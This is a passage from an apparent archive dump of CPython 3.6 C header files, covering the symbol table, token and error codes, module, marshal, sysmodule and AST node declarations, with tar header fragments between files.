nested */ unsigned ste_free : 1; /* true if block has free variables */ unsigned ste_child_free : 1; /* true if a child block has free vars, including free refs to globals */ unsigned ste_generator : 1; /* true if namespace is a generator */ unsigned ste_coroutine : 1; /* true if namespace is a coroutine */ unsigned ste_varargs : 1; /* true if block has varargs */ unsigned ste_varkeywords : 1; /* true if block has varkeywords */ unsigned ste_returns_value : 1; /* true if namespace uses return with an argument */ unsigned ste_needs_class_closure : 1; /* for class scopes, true if a closure over __class__ should be created */ int ste_lineno; /* first line of block */ int ste_col_offset; /* offset of first line of block */ int ste_opt_lineno; /* lineno of last exec or import * */ int ste_opt_col_offset; /* offset of last exec or import * */ int ste_tmpname; /* counter for listcomp temp vars */ struct symtable *ste_table; } PySTEntryObject; PyAPI_DATA(PyTypeObject) PySTEntry_Type; #define PySTEntry_Check(op) (Py_TYPE(op) == &PySTEntry_Type) PyAPI_FUNC(int) PyST_GetScope(PySTEntryObject *, PyObject *); PyAPI_FUNC(struct symtable *) PySymtable_Build( mod_ty mod, const char *filename, /* decoded from the filesystem encoding */ PyFutureFeatures *future); PyAPI_FUNC(struct symtable *) PySymtable_BuildObject( mod_ty mod, PyObject *filename, PyFutureFeatures *future); PyAPI_FUNC(PySTEntryObject *) PySymtable_Lookup(struct symtable *, void *); PyAPI_FUNC(void) PySymtable_Free(struct symtable *); /* Flags for def-use information */ #define DEF_GLOBAL 1 /* global stmt */ #define DEF_LOCAL 2 /* assignment in code block */ #define DEF_PARAM 2<<1 /* formal parameter */ #define DEF_NONLOCAL 2<<2 /* nonlocal stmt */ #define USE 2<<3 /* name is used */ #define DEF_FREE 2<<4 /* name used but not defined in nested block */ #define DEF_FREE_CLASS 2<<5 /* free variable from class's method */ #define DEF_IMPORT 2<<6 /* assignment occurred via import */ #define DEF_ANNOT 2<<7 /* this name is annotated */ #define DEF_BOUND (DEF_LOCAL | DEF_PARAM | DEF_IMPORT) /* GLOBAL_EXPLICIT and GLOBAL_IMPLICIT are used internally by the symbol table. GLOBAL is returned from PyST_GetScope() for either of them. It is stored in ste_symbols at bits 12-15. */ #define SCOPE_OFFSET 11 #define SCOPE_MASK (DEF_GLOBAL | DEF_LOCAL | DEF_PARAM | DEF_NONLOCAL) #define LOCAL 1 #define GLOBAL_EXPLICIT 2 #define GLOBAL_IMPLICIT 3 #define FREE 4 #define CELL 5 #define GENERATOR 1 #define GENERATOR_EXPRESSION 2 #ifdef __cplusplus } #endif #endif /* !Py_SYMTABLE_H */ #endif /* Py_LIMITED_API */ python3.6m/ucnhash.h 0000644 00000002040 15246445047 0010302 0 ustar 00 /* Unicode name database interface */ #ifndef Py_LIMITED_API #ifndef Py_UCNHASH_H #define Py_UCNHASH_H #ifdef __cplusplus extern "C" { #endif /* revised ucnhash CAPI interface (exported through a "wrapper") */ #define PyUnicodeData_CAPSULE_NAME "unicodedata.ucnhash_CAPI" typedef struct { /* Size of this struct */ int size; /* Get name for a given character code. Returns non-zero if success, zero if not. Does not set Python exceptions. If self is NULL, data come from the default version of the database. If it is not NULL, it should be a unicodedata.ucd_X_Y_Z object */ int (*getname)(PyObject *self, Py_UCS4 code, char* buffer, int buflen, int with_alias_and_seq); /* Get character code for a given name. Same error handling as for getname. */ int (*getcode)(PyObject *self, const char* name, int namelen, Py_UCS4* code, int with_named_seq); } _PyUnicode_Name_CAPI; #ifdef __cplusplus } #endif #endif /* !Py_UCNHASH_H */ #endif /* !Py_LIMITED_API */ python3.6m/errcode.h 0000644 00000002731 15246445047 0010303 0 ustar 00 #ifndef Py_ERRCODE_H #define Py_ERRCODE_H #ifdef __cplusplus extern "C" { #endif /* Error codes passed around between file input, tokenizer, parser and interpreter. This is necessary so we can turn them into Python exceptions at a higher level. Note that some errors have a slightly different meaning when passed from the tokenizer to the parser than when passed from the parser to the interpreter; e.g. the parser only returns E_EOF when it hits EOF immediately, and it never returns E_OK. */ #define E_OK 10 /* No error */ #define E_EOF 11 /* End Of File */ #define E_INTR 12 /* Interrupted */ #define E_TOKEN 13 /* Bad token */ #define E_SYNTAX 14 /* Syntax error */ #define E_NOMEM 15 /* Ran out of memory */ #define E_DONE 16 /* Parsing complete */ #define E_ERROR 17 /* Execution error */ #define E_TABSPACE 18 /* Inconsistent mixing of tabs and spaces */ #define E_OVERFLOW 19 /* Node had too many children */ #define E_TOODEEP 20 /* Too many indentation levels */ #define E_DEDENT 21 /* No matching outer block for dedent */ #define E_DECODE 22 /* Error in decoding into Unicode */ #define E_EOFS 23 /* EOF in triple-quoted string */ #define E_EOLS 24 /* EOL in single-quoted string */ #define E_LINECONT 25 /* Unexpected characters after a line continuation */ #define E_IDENTIFIER 26 /* Invalid characters in identifier */ #define E_BADSINGLE 27 /* Ill-formed single statement input */ #ifdef __cplusplus } #endif #endif /* !Py_ERRCODE_H */ python3.6m/token.h 0000644 00000003627 15246445047 0010005 0 ustar 00 /* Token types */ #ifndef Py_LIMITED_API #ifndef Py_TOKEN_H #define Py_TOKEN_H #ifdef __cplusplus extern "C" { #endif #undef TILDE /* Prevent clash of our definition with system macro. Ex AIX, ioctl.h */ #define ENDMARKER 0 #define NAME 1 #define NUMBER 2 #define STRING 3 #define NEWLINE 4 #define INDENT 5 #define DEDENT 6 #define LPAR 7 #define RPAR 8 #define LSQB 9 #define RSQB 10 #define COLON 11 #define COMMA 12 #define SEMI 13 #define PLUS 14 #define MINUS 15 #define STAR 16 #define SLASH 17 #define VBAR 18 #define AMPER 19 #define LESS 20 #define GREATER 21 #define EQUAL 22 #define DOT 23 #define PERCENT 24 #define LBRACE 25 #define RBRACE 26 #define EQEQUAL 27 #define NOTEQUAL 28 #define LESSEQUAL 29 #define GREATEREQUAL 30 #define TILDE 31 #define CIRCUMFLEX 32 #define LEFTSHIFT 33 #define RIGHTSHIFT 34 #define DOUBLESTAR 35 #define PLUSEQUAL 36 #define MINEQUAL 37 #define STAREQUAL 38 #define SLASHEQUAL 39 #define PERCENTEQUAL 40 #define AMPEREQUAL 41 #define VBAREQUAL 42 #define CIRCUMFLEXEQUAL 43 #define LEFTSHIFTEQUAL 44 #define RIGHTSHIFTEQUAL 45 #define DOUBLESTAREQUAL 46 #define DOUBLESLASH 47 #define DOUBLESLASHEQUAL 48 #define AT 49 #define ATEQUAL 50 #define RARROW 51 #define ELLIPSIS 52 /* Don't forget to update the table _PyParser_TokenNames in tokenizer.c! */ #define OP 53 #define AWAIT 54 #define ASYNC 55 #define ERRORTOKEN 56 #define N_TOKENS 57 /* Special definitions for cooperation with parser */ #define NT_OFFSET 256 #define ISTERMINAL(x) ((x) < NT_OFFSET) #define ISNONTERMINAL(x) ((x) >= NT_OFFSET) #define ISEOF(x) ((x) == ENDMARKER) PyAPI_DATA(const char *) _PyParser_TokenNames[]; /* Token names */ PyAPI_FUNC(int) PyToken_OneChar(int); PyAPI_FUNC(int) PyToken_TwoChars(int, int); PyAPI_FUNC(int) PyToken_ThreeChars(int, int, int); #ifdef __cplusplus } #endif #endif /* !Py_TOKEN_H */ #endif /* Py_LIMITED_API */ python3.6m/fileobject.h 0000644 00000003163 15246445047 0010766 0 ustar 00 /* File object interface (what's left of it -- see io.py) */ #ifndef Py_FILEOBJECT_H #define Py_FILEOBJECT_H #ifdef __cplusplus extern "C" { #endif #define PY_STDIOTEXTMODE "b" PyAPI_FUNC(PyObject *) PyFile_FromFd(int, const char *, const char *, int, const char *, const char *, const char *, int); PyAPI_FUNC(PyObject *) PyFile_GetLine(PyObject *, int); PyAPI_FUNC(int) PyFile_WriteObject(PyObject *, PyObject *, int); PyAPI_FUNC(int) PyFile_WriteString(const char *, PyObject *); PyAPI_FUNC(int) PyObject_AsFileDescriptor(PyObject *); #ifndef Py_LIMITED_API PyAPI_FUNC(char *) Py_UniversalNewlineFgets(char *, int, FILE*, PyObject *); #endif /* The default encoding used by the platform file system APIs If non-NULL, this is different than the default encoding for strings */ PyAPI_DATA(const char *) Py_FileSystemDefaultEncoding; #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03060000 PyAPI_DATA(const char *) Py_FileSystemDefaultEncodeErrors; #endif PyAPI_DATA(int) Py_HasFileSystemDefaultEncoding; /* Internal API The std printer acts as a preliminary sys.stderr until the new io infrastructure is in place. */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) PyFile_NewStdPrinter(int); PyAPI_DATA(PyTypeObject) PyStdPrinter_Type; #endif /* Py_LIMITED_API */ /* A routine to check if a file descriptor can be select()-ed. */ #ifdef HAVE_SELECT #define _PyIsSelectable_fd(FD) ((unsigned int)(FD) < (unsigned int)FD_SETSIZE) #else #define _PyIsSelectable_fd(FD) (1) #endif /* HAVE_SELECT */ #ifdef __cplusplus } #endif #endif /* !Py_FILEOBJECT_H */ python3.6m/marshal.h 0000644 00000001443 15246445047 0010306 0 ustar 00 /* Interface for marshal.c */ #ifndef Py_MARSHAL_H #define Py_MARSHAL_H #ifdef __cplusplus extern "C" { #endif #define Py_MARSHAL_VERSION 4 PyAPI_FUNC(void) PyMarshal_WriteLongToFile(long, FILE *, int); PyAPI_FUNC(void) PyMarshal_WriteObjectToFile(PyObject *, FILE *, int); PyAPI_FUNC(PyObject *) PyMarshal_WriteObjectToString(PyObject *, int); #ifndef Py_LIMITED_API PyAPI_FUNC(long) PyMarshal_ReadLongFromFile(FILE *); PyAPI_FUNC(int) PyMarshal_ReadShortFromFile(FILE *); PyAPI_FUNC(PyObject *) PyMarshal_ReadObjectFromFile(FILE *); PyAPI_FUNC(PyObject *) PyMarshal_ReadLastObjectFromFile(FILE *); #endif PyAPI_FUNC(PyObject *) PyMarshal_ReadObjectFromString(const char *, Py_ssize_t); #ifdef __cplusplus } #endif #endif /* !Py_MARSHAL_H */ python3.6m/moduleobject.h 0000644 00000004355 15246445047 0011340 0 ustar 00 /* Module object interface */ #ifndef Py_MODULEOBJECT_H #define Py_MODULEOBJECT_H #ifdef __cplusplus extern "C" { #endif PyAPI_DATA(PyTypeObject) PyModule_Type; #define PyModule_Check(op) PyObject_TypeCheck(op, &PyModule_Type) #define PyModule_CheckExact(op) (Py_TYPE(op) == &PyModule_Type) #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 PyAPI_FUNC(PyObject *) PyModule_NewObject( PyObject *name ); #endif PyAPI_FUNC(PyObject *) PyModule_New( const char *name /* UTF-8 encoded string */ ); PyAPI_FUNC(PyObject *) PyModule_GetDict(PyObject *); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 PyAPI_FUNC(PyObject *) PyModule_GetNameObject(PyObject *); #endif PyAPI_FUNC(const char *) PyModule_GetName(PyObject *); PyAPI_FUNC(const char *) PyModule_GetFilename(PyObject *); PyAPI_FUNC(PyObject *) PyModule_GetFilenameObject(PyObject *); #ifndef Py_LIMITED_API PyAPI_FUNC(void) _PyModule_Clear(PyObject *); PyAPI_FUNC(void) _PyModule_ClearDict(PyObject *); #endif PyAPI_FUNC(struct PyModuleDef*) PyModule_GetDef(PyObject*); PyAPI_FUNC(void*) PyModule_GetState(PyObject*); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03050000 /* New in 3.5 */ PyAPI_FUNC(PyObject *) PyModuleDef_Init(struct PyModuleDef*); PyAPI_DATA(PyTypeObject) PyModuleDef_Type; #endif typedef struct PyModuleDef_Base { PyObject_HEAD PyObject* (*m_init)(void); Py_ssize_t m_index; PyObject* m_copy; } PyModuleDef_Base; #define PyModuleDef_HEAD_INIT { \ PyObject_HEAD_INIT(NULL) \ NULL, /* m_init */ \ 0, /* m_index */ \ NULL, /* m_copy */ \ } struct PyModuleDef_Slot; #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03050000 /* New in 3.5 */ typedef struct PyModuleDef_Slot{ int slot; void *value; } PyModuleDef_Slot; #define Py_mod_create 1 #define Py_mod_exec 2 #ifndef Py_LIMITED_API #define _Py_mod_LAST_SLOT 2 #endif #endif /* New in 3.5 */ typedef struct PyModuleDef{ PyModuleDef_Base m_base; const char* m_name; const char* m_doc; Py_ssize_t m_size; PyMethodDef *m_methods; struct PyModuleDef_Slot* m_slots; traverseproc m_traverse; inquiry m_clear; freefunc m_free; } PyModuleDef; #ifdef __cplusplus } #endif #endif /* !Py_MODULEOBJECT_H */ python3.6m/structmember.h 0000644 00000003742 15246445047 0011377 0 ustar 00 #ifndef Py_STRUCTMEMBER_H #define Py_STRUCTMEMBER_H #ifdef __cplusplus extern "C" { #endif /* Interface to map C struct members to Python object attributes */ #include <stddef.h> /* For offsetof */ /* An array of PyMemberDef structures defines the name, type and offset of selected members of a C structure. These can be read by PyMember_GetOne() and set by PyMember_SetOne() (except if their READONLY flag is set). The array must be terminated with an entry whose name pointer is NULL. */ typedef struct PyMemberDef { char *name; int type; Py_ssize_t offset; int flags; char *doc; } PyMemberDef; /* Types */ #define T_SHORT 0 #define T_INT 1 #define T_LONG 2 #define T_FLOAT 3 #define T_DOUBLE 4 #define T_STRING 5 #define T_OBJECT 6 /* XXX the ordering here is weird for binary compatibility */ #define T_CHAR 7 /* 1-character string */ #define T_BYTE 8 /* 8-bit signed int */ /* unsigned variants: */ #define T_UBYTE 9 #define T_USHORT 10 #define T_UINT 11 #define T_ULONG 12 /* Added by Jack: strings contained in the structure */ #define T_STRING_INPLACE 13 /* Added by Lillo: bools contained in the structure (assumed char) */ #define T_BOOL 14 #define T_OBJECT_EX 16 /* Like T_OBJECT, but raises AttributeError when the value is NULL, instead of converting to None. */ #define T_LONGLONG 17 #define T_ULONGLONG 18 #define T_PYSSIZET 19 /* Py_ssize_t */ #define T_NONE 20 /* Value is always None */ /* Flags */ #define READONLY 1 #define READ_RESTRICTED 2 #define PY_WRITE_RESTRICTED 4 #define RESTRICTED (READ_RESTRICTED | PY_WRITE_RESTRICTED) /* Current API, use this */ PyAPI_FUNC(PyObject *) PyMember_GetOne(const char *, struct PyMemberDef *); PyAPI_FUNC(int) PyMember_SetOne(char *, struct PyMemberDef *, PyObject *); #ifdef __cplusplus } #endif #endif /* !Py_STRUCTMEMBER_H */ python3.6m/sysmodule.h 0000644 00000002513 15246445047 0010702 0 ustar 00 /* System module interface */ #ifndef Py_SYSMODULE_H #define Py_SYSMODULE_H #ifdef __cplusplus extern "C" { #endif PyAPI_FUNC(PyObject *) PySys_GetObject(const char *); PyAPI_FUNC(int) PySys_SetObject(const char *, PyObject *); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PySys_GetObjectId(_Py_Identifier *key); PyAPI_FUNC(int) _PySys_SetObjectId(_Py_Identifier *key, PyObject *); #endif PyAPI_FUNC(void) PySys_SetArgv(int, wchar_t **); PyAPI_FUNC(void) PySys_SetArgvEx(int, wchar_t **, int); PyAPI_FUNC(void) PySys_SetPath(const wchar_t *); PyAPI_FUNC(void) PySys_WriteStdout(const char *format, ...) Py_GCC_ATTRIBUTE((format(printf, 1, 2))); PyAPI_FUNC(void) PySys_WriteStderr(const char *format, ...) Py_GCC_ATTRIBUTE((format(printf, 1, 2))); PyAPI_FUNC(void) PySys_FormatStdout(const char *format, ...); PyAPI_FUNC(void) PySys_FormatStderr(const char *format, ...); PyAPI_FUNC(void) PySys_ResetWarnOptions(void); PyAPI_FUNC(void) PySys_AddWarnOption(const wchar_t *); PyAPI_FUNC(void) PySys_AddWarnOptionUnicode(PyObject *); PyAPI_FUNC(int) PySys_HasWarnOptions(void); PyAPI_FUNC(void) PySys_AddXOption(const wchar_t *); PyAPI_FUNC(PyObject *) PySys_GetXOptions(void); #ifndef Py_LIMITED_API PyAPI_FUNC(size_t) _PySys_GetSizeOf(PyObject *); #endif #ifdef __cplusplus } #endif #endif /* !Py_SYSMODULE_H */ python3.6m/pyctype.h 0000644 00000002450 15246445047 0010353 0 ustar 00 #ifndef Py_LIMITED_API #ifndef PYCTYPE_H #define PYCTYPE_H #define PY_CTF_LOWER 0x01 #define PY_CTF_UPPER 0x02 #define PY_CTF_ALPHA (PY_CTF_LOWER|PY_CTF_UPPER) #define PY_CTF_DIGIT 0x04 #define PY_CTF_ALNUM (PY_CTF_ALPHA|PY_CTF_DIGIT) #define PY_CTF_SPACE 0x08 #define PY_CTF_XDIGIT 0x10 PyAPI_DATA(const unsigned int) _Py_ctype_table[256]; /* Unlike their C counterparts, the following macros are not meant to * handle an int with any of the values [EOF, 0-UCHAR_MAX]. The argument * must be a signed/unsigned char. */ #define Py_ISLOWER(c) (_Py_ctype_table[Py_CHARMASK(c)] & PY_CTF_LOWER) #define Py_ISUPPER(c) (_Py_ctype_table[Py_CHARMASK(c)] & PY_CTF_UPPER) #define Py_ISALPHA(c) (_Py_ctype_table[Py_CHARMASK(c)] & PY_CTF_ALPHA) #define Py_ISDIGIT(c) (_Py_ctype_table[Py_CHARMASK(c)] & PY_CTF_DIGIT) #define Py_ISXDIGIT(c) (_Py_ctype_table[Py_CHARMASK(c)] & PY_CTF_XDIGIT) #define Py_ISALNUM(c) (_Py_ctype_table[Py_CHARMASK(c)] & PY_CTF_ALNUM) #define Py_ISSPACE(c) (_Py_ctype_table[Py_CHARMASK(c)] & PY_CTF_SPACE) PyAPI_DATA(const unsigned char) _Py_ctype_tolower[256]; PyAPI_DATA(const unsigned char) _Py_ctype_toupper[256]; #define Py_TOLOWER(c) (_Py_ctype_tolower[Py_CHARMASK(c)]) #define Py_TOUPPER(c) (_Py_ctype_toupper[Py_CHARMASK(c)]) #endif /* !PYCTYPE_H */ #endif /* !Py_LIMITED_API */ python3.6m/Python-ast.h 0000644 00000053402 15246445047 0010727 0 ustar 00 /* File automatically generated by Parser/asdl_c.py. */ #include "asdl.h" typedef struct _mod *mod_ty; typedef struct _stmt *stmt_ty; typedef struct _expr *expr_ty; typedef enum _expr_context { Load=1, Store=2, Del=3, AugLoad=4, AugStore=5, Param=6 } expr_context_ty; typedef struct _slice *slice_ty; typedef enum _boolop { And=1, Or=2 } boolop_ty; typedef enum _operator { Add=1, Sub=2, Mult=3, MatMult=4, Div=5, Mod=6, Pow=7, LShift=8, RShift=9, BitOr=10, BitXor=11, BitAnd=12, FloorDiv=13 } operator_ty; typedef enum _unaryop { Invert=1, Not=2, UAdd=3, USub=4 } unaryop_ty; typedef enum _cmpop { Eq=1, NotEq=2, Lt=3, LtE=4, Gt=5, GtE=6, Is=7, IsNot=8, In=9, NotIn=10 } cmpop_ty; typedef struct _comprehension *comprehension_ty; typedef struct _excepthandler *excepthandler_ty; typedef struct _arguments *arguments_ty; typedef struct _arg *arg_ty; typedef struct _keyword *keyword_ty; typedef struct _alias *alias_ty; typedef struct _withitem *withitem_ty; enum _mod_kind {Module_kind=1, Interactive_kind=2, Expression_kind=3, Suite_kind=4}; struct _mod { enum _mod_kind kind; union { struct { asdl_seq *body; } Module; struct { asdl_seq *body; } Interactive; struct { expr_ty body; } Expression; struct { asdl_seq *body; } Suite; } v; }; enum _stmt_kind {FunctionDef_kind=1, AsyncFunctionDef_kind=2, ClassDef_kind=3, Return_kind=4, Delete_kind=5, Assign_kind=6, AugAssign_kind=7, AnnAssign_kind=8, For_kind=9, AsyncFor_kind=10, While_kind=11, If_kind=12, With_kind=13, AsyncWith_kind=14, Raise_kind=15, Try_kind=16, Assert_kind=17, Import_kind=18, ImportFrom_kind=19, Global_kind=20, Nonlocal_kind=21, Expr_kind=22, Pass_kind=23, Break_kind=24, Continue_kind=25}; struct _stmt { enum _stmt_kind kind; union { struct { identifier name; arguments_ty args; asdl_seq *body; asdl_seq *decorator_list; expr_ty returns; } FunctionDef; struct { identifier name; arguments_ty args; asdl_seq *body; asdl_seq *decorator_list; expr_ty returns; } AsyncFunctionDef; struct { identifier name; asdl_seq *bases; asdl_seq *keywords; asdl_seq *body; asdl_seq *decorator_list; } ClassDef; struct { expr_ty value; } Return; struct { asdl_seq *targets; } Delete; struct { asdl_seq *targets; expr_ty value; } Assign; struct { expr_ty target; operator_ty op; expr_ty value; } AugAssign; struct { expr_ty target; expr_ty annotation; expr_ty value; int simple; } AnnAssign; struct { expr_ty target; expr_ty iter; asdl_seq *body; asdl_seq *orelse; } For; struct { expr_ty target; expr_ty iter; asdl_seq *body; asdl_seq *orelse; } AsyncFor; struct { expr_ty test; asdl_seq *body; asdl_seq *orelse; } While; struct { expr_ty test; asdl_seq *body; asdl_seq *orelse; } If; struct { asdl_seq *items; asdl_seq *body; } With; struct { asdl_seq *items; asdl_seq *body; } AsyncWith; struct { expr_ty exc; expr_ty cause; } Raise; struct { asdl_seq *body; asdl_seq *handlers; asdl_seq *orelse; asdl_seq *finalbody; } Try; struct { expr_ty test; expr_ty msg; } Assert; struct { asdl_seq *names; } Import; struct { identifier module; asdl_seq *names; int level; } ImportFrom; struct { asdl_seq *names; } Global; struct { asdl_seq *names; } Nonlocal; struct { expr_ty value; } Expr; } v; int lineno; int col_offset; }; enum _expr_kind {BoolOp_kind=1, BinOp_kind=2, UnaryOp_kind=3, Lambda_kind=4, IfExp_kind=5, Dict_kind=6, Set_kind=7, ListComp_kind=8, SetComp_kind=9, DictComp_kind=10, GeneratorExp_kind=11, Await_kind=12, Yield_kind=13, YieldFrom_kind=14, Compare_kind=15, Call_kind=16, Num_kind=17, Str_kind=18, FormattedValue_kind=19, JoinedStr_kind=20, Bytes_kind=21, NameConstant_kind=22, Ellipsis_kind=23, Constant_kind=24, Attribute_kind=25, Subscript_kind=26, Starred_kind=27, Name_kind=28, List_kind=29, Tuple_kind=30}; struct _expr { enum _expr_kind kind; union { struct { boolop_ty op; asdl_seq *values; } BoolOp; struct { expr_ty left; operator_ty op; expr_ty right; } BinOp; struct { unaryop_ty op; expr_ty operand; } UnaryOp; struct { arguments_ty args; expr_ty body; } Lambda; struct { expr_ty test; expr_ty body; expr_ty orelse; } IfExp; struct { asdl_seq *keys; asdl_seq *values; } Dict; struct { asdl_seq *elts; } Set; struct { expr_ty elt; asdl_seq *generators; } ListComp; struct { expr_ty elt; asdl_seq *generators; } SetComp; struct { expr_ty key; expr_ty value; asdl_seq *generators; } DictComp; struct { expr_ty elt; asdl_seq *generators; } GeneratorExp; struct { expr_ty value; } Await; struct { expr_ty value; } Yield; struct { expr_ty value; } YieldFrom; struct { expr_ty left; asdl_int_seq *ops; asdl_seq *comparators; } Compare; struct { expr_ty func; asdl_seq *args; asdl_seq *keywords; } Call; struct { object n; } Num; struct { string s; } Str; struct { expr_ty value; int conversion; expr_ty format_spec; } FormattedValue; struct { asdl_seq *values; } JoinedStr; struct { bytes s; } Bytes; struct { singleton value; } NameConstant; struct { constant value; } Constant; struct { expr_ty value; identifier attr; expr_context_ty ctx; } Attribute; struct { expr_ty value; slice_ty slice; expr_context_ty ctx; } Subscript; struct { expr_ty value; expr_context_ty ctx; } Starred; struct { identifier id; expr_context_ty ctx; } Name; struct { asdl_seq *elts; expr_context_ty ctx; } List; struct { asdl_seq *elts; expr_context_ty ctx; } Tuple; } v; int lineno; int col_offset; }; enum _slice_kind {Slice_kind=1, ExtSlice_kind=2, Index_kind=3}; struct _slice { enum _slice_kind kind; union { struct { expr_ty lower; expr_ty upper; expr_ty step; } Slice; struct { asdl_seq *dims; } ExtSlice; struct { expr_ty value; } Index; } v; }; struct _comprehension { expr_ty target; expr_ty iter; asdl_seq *ifs; int is_async; }; enum _excepthandler_kind {ExceptHandler_kind=1}; struct _excepthandler { enum _excepthandler_kind kind; union { struct { expr_ty type; identifier name; asdl_seq *body; } ExceptHandler; } v; int lineno; int col_offset; }; struct _arguments { asdl_seq *args; arg_ty vararg; asdl_seq *kwonlyargs; asdl_seq *kw_defaults; arg_ty kwarg; asdl_seq *defaults; }; struct _arg { identifier arg; expr_ty annotation; int lineno; int col_offset; }; struct _keyword { identifier arg; expr_ty value; }; struct _alias { identifier name; identifier asname; }; struct _withitem { expr_ty context_expr; expr_ty optional_vars; }; #define Module(a0, a1) _Py_Module(a0, a1) mod_ty _Py_Module(asdl_seq * body, PyArena *arena); #define Interactive(a0, a1) _Py_Interactive(a0, a1) mod_ty _Py_Interactive(asdl_seq * body, PyArena *arena); #define Expression(a0, a1) _Py_Expression(a0, a1) mod_ty _Py_Expression(expr_ty body, PyArena *arena); #define Suite(a0, a1) _Py_Suite(a0, a1) mod_ty _Py_Suite(asdl_seq * body, PyArena *arena); #define FunctionDef(a0, a1, a2, a3, a4, a5, a6, a7) _Py_FunctionDef(a0, a1, a2, a3, a4, a5, a6, a7) stmt_ty _Py_FunctionDef(identifier name, arguments_ty args, asdl_seq * body, asdl_seq * decorator_list, expr_ty returns, int lineno, int col_offset, PyArena *arena); #define AsyncFunctionDef(a0, a1, a2, a3, a4, a5, a6, a7) _Py_AsyncFunctionDef(a0, a1, a2, a3, a4, a5, a6, a7) stmt_ty _Py_AsyncFunctionDef(identifier name, arguments_ty args, asdl_seq * body, asdl_seq * decorator_list, expr_ty returns, int lineno, int col_offset, PyArena *arena); #define ClassDef(a0, a1, a2, a3, a4, a5, a6, a7) _Py_ClassDef(a0, a1, a2, a3, a4, a5, a6, a7) stmt_ty _Py_ClassDef(identifier name, asdl_seq * bases, asdl_seq * keywords, asdl_seq * body, asdl_seq * decorator_list, int lineno, int col_offset, PyArena *arena); #define Return(a0, a1, a2, a3) _Py_Return(a0, a1, a2, a3) stmt_ty _Py_Return(expr_ty value, int lineno, int col_offset, PyArena *arena); #define Delete(a0, a1, a2, a3) _Py_Delete(a0, a1, a2, a3) stmt_ty _Py_Delete(asdl_seq * targets, int lineno, int col_offset, PyArena *arena); #define Assign(a0, a1, a2, a3, a4) _Py_Assign(a0, a1, a2, a3, a4) stmt_ty _Py_Assign(asdl_seq * targets, expr_ty value, int lineno, int col_offset, PyArena *arena); #define AugAssign(a0, a1, a2, a3, a4, a5) _Py_AugAssign(a0, a1, a2, a3, a4, a5) stmt_ty _Py_AugAssign(expr_ty target, operator_ty op, expr_ty value, int lineno, int col_offset, PyArena *arena); #define AnnAssign(a0, a1, a2, a3, a4, a5, a6) _Py_AnnAssign(a0, a1, a2, a3, a4, a5, a6) stmt_ty _Py_AnnAssign(expr_ty target, expr_ty annotation, expr_ty value, int simple, int lineno, int col_offset, PyArena *arena); #define For(a0, a1, a2, a3, a4, a5, a6) _Py_For(a0, a1, a2, a3, a4, a5, a6) stmt_ty _Py_For(expr_ty target, expr_ty iter, asdl_seq * body, asdl_seq * orelse, int lineno, int col_offset, PyArena *arena); #define AsyncFor(a0, a1, a2, a3, a4, a5, a6) _Py_AsyncFor(a0, a1, a2, a3, a4, a5, a6) stmt_ty _Py_AsyncFor(expr_ty target, expr_ty iter, asdl_seq * body, asdl_seq * orelse, int lineno, int col_offset, PyArena *arena); #define While(a0, a1, a2, a3, a4, a5) _Py_While(a0, a1, a2, a3, a4, a5) stmt_ty _Py_While(expr_ty test, asdl_seq * body, asdl_seq * orelse, int lineno, int col_offset, PyArena *arena); #define If(a0, a1, a2, a3, a4, a5) _Py_If(a0, a1, a2, a3, a4, a5) stmt_ty _Py_If(expr_ty test, asdl_seq * body, asdl_seq * orelse, int lineno, int col_offset, PyArena *arena); #define With(a0, a1, a2, a3, a4) _Py_With(a0, a1, a2, a3, a4) stmt_ty _Py_With(asdl_seq * items, asdl_seq * body, int lineno, int col_offset, PyArena *arena); #define AsyncWith(a0, a1, a2, a3, a4) _Py_AsyncWith(a0, a1, a2, a3, a4) stmt_ty _Py_AsyncWith(asdl_seq * items, asdl_seq * body, int lineno, int col_offset, PyArena *arena); #define Raise(a0, a1, a2, a3, a4) _Py_Raise(a0, a1, a2, a3, a4) stmt_ty _Py_Raise(expr_ty exc, expr_ty cause, int lineno, int col_offset, PyArena *arena); #define Try(a0, a1, a2, a3, a4, a5, a6) _Py_Try(a0, a1, a2, a3, a4, a5, a6) stmt_ty _Py_Try(asdl_seq * body, asdl_seq * handlers, asdl_seq * orelse, asdl_seq * finalbody, int lineno, int col_offset, PyArena *arena); #define Assert(a0, a1, a2, a3, a4) _Py_Assert(a0, a1, a2, a3, a4) stmt_ty _Py_Assert(expr_ty test, expr_ty msg, int lineno, int col_offset, PyArena *arena); #define Import(a0, a1, a2, a3) _Py_Import(a0, a1, a2, a3) stmt_ty _Py_Import(asdl_seq * names, int lineno, int col_offset, PyArena *arena); #define ImportFrom(a0, a1, a2, a3, a4, a5) _Py_ImportFrom(a0, a1, a2, a3, a4, a5) stmt_ty _Py_ImportFrom(identifier module, asdl_seq * names, int level, int lineno, int col_offset, PyArena *arena); #define Global(a0, a1, a2, a3) _Py_Global(a0, a1, a2, a3) stmt_ty _Py_Global(asdl_seq * names, int lineno, int col_offset, PyArena *arena); #define Nonlocal(a0, a1, a2, a3) _Py_Nonlocal(a0, a1, a2, a3) stmt_ty _Py_Nonlocal(asdl_seq * names, int lineno, int col_offset, PyArena *arena); #define Expr(a0, a1, a2, a3) _Py_Expr(a0, a1, a2, a3) stmt_ty _Py_Expr(expr_ty value, int lineno, int col_offset, PyArena *arena); #define Pass(a0, a1, a2) _Py_Pass(a0, a1, a2) stmt_ty _Py_Pass(int lineno, int col_offset, PyArena *arena); #define Break(a0, a1, a2) _Py_Break(a0, a1, a2) stmt_ty _Py_Break(int lineno, int col_offset, PyArena *arena); #define Continue(a0, a1, a2) _Py_Continue(a0, a1, a2) stmt_ty _Py_Continue(int lineno, int col_offset, PyArena *arena); #define BoolOp(a0, a1, a2, a3, a4) _Py_BoolOp(a0, a1, a2, a3, a4) expr_ty _Py_BoolOp(boolop_ty op, asdl_seq * values, int lineno, int col_offset, PyArena *arena); #define BinOp(a0, a1, a2, a3, a4, a5) _Py_BinOp(a0, a1, a2, a3, a4, a5) expr_ty _Py_BinOp(expr_ty left, operator_ty op, expr_ty right, int lineno, int col_offset, PyArena *arena); #define UnaryOp(a0, a1, a2, a3, a4) _Py_UnaryOp(a0, a1, a2, a3, a4) expr_ty 